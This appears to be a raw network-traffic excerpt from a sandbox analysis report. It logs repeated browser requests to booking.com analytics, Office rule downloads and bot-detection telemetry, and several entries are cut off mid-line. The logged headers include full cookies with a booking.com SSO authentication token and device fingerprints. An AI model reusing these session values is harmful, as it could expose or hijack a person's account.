bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=34373524266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d304337383a25324336363927304b3a3139322d354627324b253d40273a3a6d6d253a302d304337383a25324336373027304b3a3230332d354627324b253d40273a3a6d6d253a302d304337383a25324336373127304b3a3231342d354627324b253d40273a3a7425323a273a412530325150414e27323327303b60757476676e2730332d323a27304b303233312d374c2732412537422532306d6d27303a2732433730382730433c373a27304b303233312d374c2732412537422532306d6d27303a2732433730382730433c373b27304b303234382d374c2732412537422532306d6d27303a2732433730382730433c373c27304b303236332d374c2732412537422532306d6d27303a2732433730382730433c373d27304b303237392d374c2732412537422532306d6d27303a2732433730382730433c373e27304b303330312d374c2732412537422532306d6d27303a2732433730382730433c373f27304b303334312d374c2732412537422532306d6d27303a2732433730382730433c373027304b303335362d374c2732412537422532306d6d27303a2732433730382730433c373127304b303430332d374c27354626606873635d696e6667703f35 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /api/v2/collector HTTP/1.1Host: collector-pxikkul2rm.px-cloud.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413330332d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=31303931262668636b3f3126606073613f253d422d37402d3a3274253a302d3043273230464f524f253231273a314449542d323127323a253a413b313f3025354c273a412537422732326d6f253230273a413631342d3241363538253a413b313f3025354c273a412537422732327427323227304b2732324641562730332d323b464b5e2d3233253a302d30433b393a31253546253241273d40253230656d2730322d324b3436392d3243343a312d30433b393a31253546253241273d40253230656d2730322d324b34343b2d324333313b2d30433b393b37253546253241273d402532307c253030253a432d30304c415625323b273a31444b5627323325303225304139323030342d354627324b253d40273a3a6d6d253a302d304334383125324331373827304b333030323e253746253a432d37402d3a326d6d2d303a27324137323225324133353a273a4131303239362737442d324b27374a2d32326d65273a302530433531382530433336332d3043313238323a27354c253a41273d4a253232656f2d303227324137333327324331303d2732433338303136253d442d30412d3d4225323a6f6527323025304337343425324131393325324139303236342d354c27304b2d3542253a30656f2530322732433737382530413a3b3925304b3132323638253d46273a4b2535422d303a6f6d27323025324335363927304b303837273a433332303e362d37462d3a4325354a273a306d6f25303225324137373a273a413237352d3241333038373e27374c2d3243253d402d30326f6d273232253043373a352d30433234302530413138303133273d4c2532432d374a2732306d6f253232273243353b3d273243303d392730433930383b3a2d3d4425324b273d402530326f6d2532302532413a38302532413a353027324b31383332302d3544253a412d37422732306d6d25303225304130323825304b323637253a433932333a3b2535442d304b2735402530326d6d27323227304b3a3134273a433031392d324b3332393a3825354c273a412537422732326d6f253230273a4138313b2d324130333c253a413338393338253d462d30432735402532326f6d2530302d304338303c253041323a392d304139383135342d374c2732412537422532306d6d27303a2732433a3a382730433a323c27304b3930313531273d462530432735422530326d6f273a3025324130333027324b323a32273a4b3130313e3b2d37442732412535422732326f6f2d303225304b383137253a433a33352d3a433130393b3b2735462530432535402532306f65273232273a433a31382d324b30333c2d32433138303933253744273243253742253030656f2532302d32413a3439253a4130393925324339323a303327354625324327354227303a6f6d25303a253041383c332d30413a383825324b3338303336253744253241253540273a306d6d273a3227304330343d27304b3a3036253a41393232363827354425374426606a7b615f696c6c657a3f36 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /api/v2/collector HTTP/1.1Host: collector-pxikkul2rm.px-cloud.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413337392d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=38303524266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d30433a343525324330303427304b333032343c253746253a432d37402d3a326d6d2d303a273241383639253241323030273a413130303f392737442d324b27374a2d32326d65273a302530433a35312530433232322d304331323a393627354c253a41273d4a253232656f2d3032273241383532273243333b302732433338323b3b253d442d30412d3d4225323a6f6527323025304338353625324133313525324139303132392d354c27304b2d3542253a30656f253032273243383735253041393b3625304b313231323f253d46273a4b2535422d303a6f6d2732302532433a353627304b333935273a433332333c312d37462d3a4325354a273a306d6f253032253241383535273a413139362d324133303b343f27374c2d3243253d402d30326f6d27323225304338373a2d3043313b3b2530413138333d3a273d4c2532432d374a2732306d6f2532322732433a373027324333313227304339303b35312d3d4425324b273d402530326f6d2532302532413a3d3b25324139393327324b3138313a312d3544253a412d37422732306d6d25303225304130343025304b313b33253a43393231313b2535442d304b2735402530326d6d27323227304b3a3630273a43333b302d324b33323c383525354c273a412537422732326d6f253230273a413836332d3241333831253a4133383c3735253d462d30432735402532326f6d2530302d304338343a2530413130392d304139383638382d374c2732412537422532306d6d27303a2732433a3e3227304339383027304b3930373039273d462530432735422530326d6f273a3025324130363127324b31303a273a4b31303738372d37442732412535422732326f6f2d303225304b383436253a43393a352d3a4331303f333d2735462530432535402532306f65273232273a433a34352d324b333a3e2d32433138353b31253744273243253742253030656f2532302d32413a363d253a4133303d25324339323f373427354625324327354227303a6f6d25303a253041383e352d304139303425324b333835373625374425354626626a716b5d696e666d783f35 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413334362d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=36333524266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d30433a343325324333353627304b3331323b30253746253a432d37402d3a326d6d2d303a273241383339253241313333273a4131313139302737442d324b27374a2d3232742d303a273241253032444954253231273a314449542d323127323a253a4133393b3236253d462d30432735402532326f6d2530302d3043373b312530413138382d304139393332362d374c2732412537422532306d6d27303a27324335303127304330382d304139393333302d374c2732412537422532306d6d27303a273243353e352730433e392d304139393334302d374c273241253742253230742530302d304325303a444b54253a332d303146495625323b273a302530433331333535253546273a412535402d32306f6d2d323a27304b3f3530253a413d312530433331333535253546273a412535402d323076253a322d30412d3a3241253a312d30335150434e253231253230273a413131313e322737442d324b27374a2d32326d65273a30253043353337253043333a273a413131313e322737442d324b27374a2d32326d65273a302530433532352530433237273a413131313f322737442d324b27374a2d3232742d303a2732412530324e4154253231273a314845434c455027323b253a30273a4b31313331322d37442732412535422732326f6f2d303225304b373337253a433931273a4b31313331322d374427324125354227323276273a302532412d32304a4549444d50273a3b2532334c4b5e2732312530322532413131363239273544273a432737422d323a6f6f2d3a3225324b3538372530433025324333313432332d374425374c26606a736b5f616c666d703d38 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; 